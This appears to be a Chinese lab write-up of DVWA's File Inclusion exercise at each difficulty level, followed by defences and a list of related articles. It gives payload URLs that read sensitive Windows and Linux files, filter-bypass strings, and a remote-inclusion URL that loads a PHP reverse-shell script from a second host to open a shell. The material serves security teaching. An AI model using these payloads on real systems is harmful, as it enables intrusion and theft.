DVWA---文件包含
文件包含定义
开发人员将相同的函数写入单独文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含
文件包含漏洞定义
文件包含漏洞是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务期允许包含一个远程文件)
本地文件包含
本地包含文件就是通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤允许遍历目录的字符注入浏览器并执行;
远程文件包含
远程文件包含就是允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好脚本。此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击,甚至在目标服务器上执行代码;
文件包含与目录遍历的区别
(1)目录遍历根源在于对路径的访问权限设置不严格,针对于本系统。
(2)文件包含是利用函数来包含web目录以外的文件并执行;
文件包含函数
php中文件包含函数
require:找不到被包含的文件,报错,并且停止运行脚本
include:找不到被包含的文件,只会报错,但会继续运行脚本
require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次
include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次
文件包含的特征
URL栏中有以下内容则可能存在文件包含
?page=
?file=
?home=
DVWA实现文件包含前提
dvwa->打开配置文件->php-ini 查找allow_url_fopen(远程文件包含)、allow_url_include(本地文件包含)均将off改为on
实现过程
LOW级别
源码
可见获取了page后的参数,之间交给文件包含函数进行执行
- Windows常见的敏感信息路径
系统版本:C:\boot.ini
IIS配置文件:C:\windows\system32\inetsrv\MetaBase.xml
存储Windows系统初次安装的密码:C:\windows\repair\sam
查看php配置信息:C:\windows\php.ini - Linux常见的敏感信息路径
系统用户信息:/etc/passwd
DNS配置文件:/etc/resolv.conf
ssh生成文件:/root/.ssh/known_hosts
网络配置文件:/etc/network/interfaces
本地文件包含
(1)查看 C:\phpStudy\PHPTutorial\WWW\phpinfo.php
http://192.168.254.128/dvwa/vulnerabilities/fi/?page=C:/phpStudy/PHPTutorial/WWW/phpinfo.php
(2)在03服务器中新建1.txt (复制phpinfo.php中内容),查看C:\phpStudy\PHPTutorial\WWW\1.txt 照样执行
对于PHP环境,被包含的文件会优先被当作php文件进行解析,如果被包含的文件中存在php代码,那么就会按照php类型执行该文件中的php代码;如果不包含php代码,则会将其中的内容全部原样打印处理。
远程文件包含
实验场景
A:存储脚本的主机,即为受害者主机(kali 192.168.254.129)
B:存在文件包含漏洞的浏览器(win10)
C:远程连接的主机,获取反弹shell的主机【即脚本里指定的连接主机】(kali192.168.254.129)实验原理
A主机中存在反弹shell脚本,其中指定连接到主机C,主机B远程包含反弹shell脚本,交由A执行;A执行脚本后,C便可获取A的反弹shell;一般情况下文件包含与文件上传联合使用;实现过程
Kali的反弹脚本:/usr/share/webshells/php/php-reverse-shell.php
将其改名为getshell.php 并复制到/var/www/html下;
修改要连接的主机IP(KALI)以及端口
打开apache
dvwa执行文件包含漏洞,C主机开始监听
http://192.168.254.128/dvwa/vulnerabilities/fi/?page=http://192.168.254.129/getshell.php
提权成功
medium级别
源码
使用str_replace函数进行替换,可以通过双写进行绕过
解决办法
http:// —> htthttp://p://
…/(回到上一层) —> …/./
…\ (回到上一层) —> ….实验过程
http://192.168.254.128/dvwa/vulnerabilities/fi/?page=…/./…/./…/./1.txt
high级别
源码
使用fnmatch()确保$file是以file开头
解决办法
file:///c:\phpStudy\PHPTutorial\WWW\1.txt;此时无法再利用远程文件包含,只可使用本地文件包含,若想执行远程代码,需要配合文件上传漏洞利用。http://192.168.254.128/dvwa/vulnerabilities/fi/?page=file:///c:\phpStudy\PHPTutorial\WWW\1.txt
impossible级别
基于白名单进行防御,确保page参数传递的只能是固定的文件名;
常见的防范措施
1、过滤各种…/,http://,https://
2、配置php.ini配置文件(allow_url_fopen=off、allow_url_include=off)
3、基于白名单进行防御
嗯嗯~~就这么多了
DVWA---文件包含相关推荐
- DVWA——文件包含
File Inclusion学习 文件包含简介 实战:DVWA--文件包含 文件包含简介 一.文件包含简介: 服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执 ...
- DVWA文件包含漏洞
文章目录 low medium high impossible 文件上传+包含漏洞getshell 云演-phar实验 low 1.本地文件包含: 看看后端代码 <?php// The page ...
- Web漏洞之文件包含漏洞
公众号:黑客菌 分享更多技术文章,欢迎关注一起探讨学习 一.文件包含漏洞概述 1.漏洞介绍 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件 ...
- 文件包含漏洞——DVWA练习
前言:在学习文件上传时,制作的图片马需要我们手动去解析,而解析的方法就算用到了文件包含漏洞,所以这次就来学习一下文件包含漏洞. 文件包含漏洞简介 (一)文件包含可以分为本地文件包含和远程文件包含两种. ...
- web常见漏洞解析 注入 xss csrf 文件上传 文件包含 -dvwa演示
注(以下环境皆是自己在本机搭建,请勿在公网真实操作) 1.注入 1.1 SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶 ...
- DVWA远程文件包含防御
在这里推荐下自己的博客,支持友链互换,Back's Blog 本次防御从代码层面出发, 尽量从多个角度进行防御.不足之处请指出.谢谢. 黑名单检测防御 首先看下dvwa的远程文件包含页面源码(low级 ...
- DVWA通关--文件包含(File Inclusion)
目录 LOW 通关步骤 一.本地文件包含 二.远程文件包含 代码分析 MEDIUM 通关步骤 一.本地文件包含 二.远程文件包含 代码分析 HIGH 通关步骤 一.本地文件包含 二.远程文件包含 代码 ...
- 结合pikachu和DVWA靶场学习文件包含漏洞
结合pikachu和DVWA靶场学习文件包含漏洞 基本概念 包含的定义 文件包含的定义 相关函数 条件 分类 本地文件包含(Local File Inclusion,简称LFI) 定义 前提: 示例: ...
- DVWA(4)文件包含(File Inclusion) LOW-HIGHT 操作记录
今天带来第四期文件包含漏洞操作记录.初次接触DVWA,写下自己的操作记录,希望可以帮助每个刚接触DVWA的新手,同时希望可以提升自己的技术.注:如有操作不当的地方希望可以得到大神指导.交流.也感谢之前 ...
- DVWA之PHP文件包含漏洞(File Inclusion)
PHP文件包含漏洞,简单地说,就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码.更多 ...
最新文章
- image_thumb1
- node 生成随机头像_唯一ID生成算法剖析
- 【学习笔记】7、标准数据类型—字符串
- 剑指offer之判断二叉树是不是平衡二叉树
- 致力微商_致力于自己。 致力于公益组织。
- verilog学习记(快速入门)
- 进销存+php模板,PHP进销存源码 仓库管理系统 WEB进销存 php+mysql 网络版进销存
- AAAI 2020 | 清华大学:借助BabelNet构建多语言义原知识库
- 搜狗主动推送python脚本(自动登录免验证码)
- COSCon'20 Apache Roadshow- China 精彩收官!|城市回顾篇
- 计算机二级第二课堂学记录表,高职学院关于第二课堂学分实施的通知(2020版)...
- wifi上行下行速度测试_怎么测试上行速度,直观的测试 WiFi上下行宽带
- 【Redis笔记】一起学习Redis | 如何利用Redis实现一个分布式锁?
- 一个自建的Java命令行解析参数类ArgumentsParser
- latch:cache buffers chains
- 农历年应该从什么时候开始计算
- freerdp 解压安装_Linux下安装FreeRDP,连接Windows远程桌面的好软件软件
- 中国公路路网_拔剑-浆糊的传说_新浪博客
- python三国演义人物 统计分析_Python统计三国演义主要人物出场次数
- java实例化对象例子